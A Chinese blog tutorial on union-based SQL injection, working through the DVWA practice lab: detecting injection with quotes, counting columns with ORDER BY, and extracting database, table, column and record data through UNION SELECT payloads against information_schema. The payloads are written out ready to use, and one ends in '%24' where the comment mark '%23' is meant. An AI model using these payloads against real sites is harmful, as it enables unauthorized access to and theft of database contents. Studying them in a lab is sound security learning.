SQL的联合查询注入学习

本文详细介绍了SQL注入的概念、产生原因、分类(根据位置、反馈和数据类型),以及检测方法,包括联合查询注入的实例分析。讲解了如何利用SQL特性判断是否存在注入漏洞和其类型。
摘要由CSDN通过智能技术生成

一、SQL注入的简单介绍

1、简介:

SQL是操作数据库数据的结构化查询语句,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。

2、产生原因:

程序没有对用户输入数据的合法性进行验证和过滤,导致SQL查询语句被恶意拼接从而产生SQL注入。

3、原理:

攻击者可以在事先定义好的查询语句的结尾上添加额外的SQL语句,从而对数据库服务器执行非授权的任意查询,获得相应的数据信息。

4、分类:

根据注入位置分类:

①GET注入:注入点在URL中

②POST注入:注入点在POST提交的数据中

③Head头注入:注入点在请求头中

根据结果反馈分类:

①有回显注入(显错注入):执行语句后可以把具体内容反馈出来

②无回显注入(盲注):执行语句后不会把具体内容反馈出来

根据数据类型分类:

①字符型注入:输入参数为字符串,且必须用单引号进行闭合

②数字型注入:输入参数为整型,且不需要用单引号进行闭合

5、注入方法:

看测试语句是否被执行,如果被执行了则说明存在SQL注入漏洞。(可用'和''进行测试)

二、联合查询注入

1、判断是否存在注入:

利用单引号'或双引号"来判断是否存在漏洞 (SQL中引号是成双成对出现的)

假设后端的SQL语句为:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

(注意后端中id值是自带引号的)

a.输入以下语句进行测试

SELECT first_name, last_name FROM users WHERE user_id = '1'

b.把数字1改成1'再进行测试

SELECT first_name, last_name FROM users WHERE user_id ='1''

 

可以发现此时多了一个引号就会进行报错了,由数据库的报错可以说明用户是可以对原来的查询语句进行修改,则表明存在漏洞。

2、 判断注入类型:

使用 1 and 1=1 、1 and 1=2 、1' and '1' = '1 、1' and '1' = '2 进行判断

a.输入1 and 1=1和1 and 1=2 发现页面均显示正常

 

b.尝试输入 1 ' and '1' = '1 和 1 ' and '1' = ' 2,发现前面可以显示出来,但是后面不可以

 

 说明单引号起作用了,可以得知为字符型注入

注:and前后必须同时为真结果才返回为真

这里就需要引入MYSQL的隐式类型转换知识:第一个数如果不是数字的话后面部分就全部舍弃

'1abcd'==>1

'abcd'==>0

'12abcd'==>12

'1abc2d'==>1

3、判断表中列数:

利用order by 数字 来判断表中的列数,如果大于所要查询的列数就会报错

a.输入1' order by 4# ,发现未知列数,则说明列数不为4

 

 

b. 输入1' order by 2# ,显示成功,说明列数为2列

值得注意的是,#在URL地址栏中会自动转化成 “%23”

所以如果在URL中输入1#2,则会显示1(即#不起作用);输入1%23 2,则会显示1#2

a.在URL中输入#

此时#不起作用,即多了一个单引号,但是并没有注释掉,所以页面报错

b.在URL中输入%23

可以发现此时#起了注释作用,所以可以成功访问

4、确定显示位:

服务端执行SQL语句查询数据,而客户端将数据展示在页面中,展示数据的位置就叫显示位。

UNION结果集中的列名等于UNION中第一个SELECT语句中的列名,UNION内部的SELECT语句必须拥有相同数量的列

a.输入1' union select 1,2%23时,发现1和2都显示了。

 

(我们一般不查询union左边的内容,所以让union左边的select子句查询为空,这样右边的查询结果就变成了第一行,所以可以将其id值改为负数或很大的数)

5、获取数据:

①获取数据库名:

输入-1' union select 1,database()%24

②获取数据库中表名:

输入-1' union select 1, table_name from information_schema.tables where table_schema='dvwa'%23

③获取表中字段名(列):

输入-1'union select 1,column_name from information_schema.columns where table_name='guestbook' and table_schema='dvwa'%23

④获取表中记录:

a.输入-1'union select 1,comment from guestbook%23

b.一行只能获取2个显示位,若要获取表中所有记录,则使用group_concat(),将多行合并成一行。

输入-1'union select 1,group_concat(comment_id,comment,name) from guestbook%23

 

(参考文章:蚁景网安学院)

 

  • 17
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值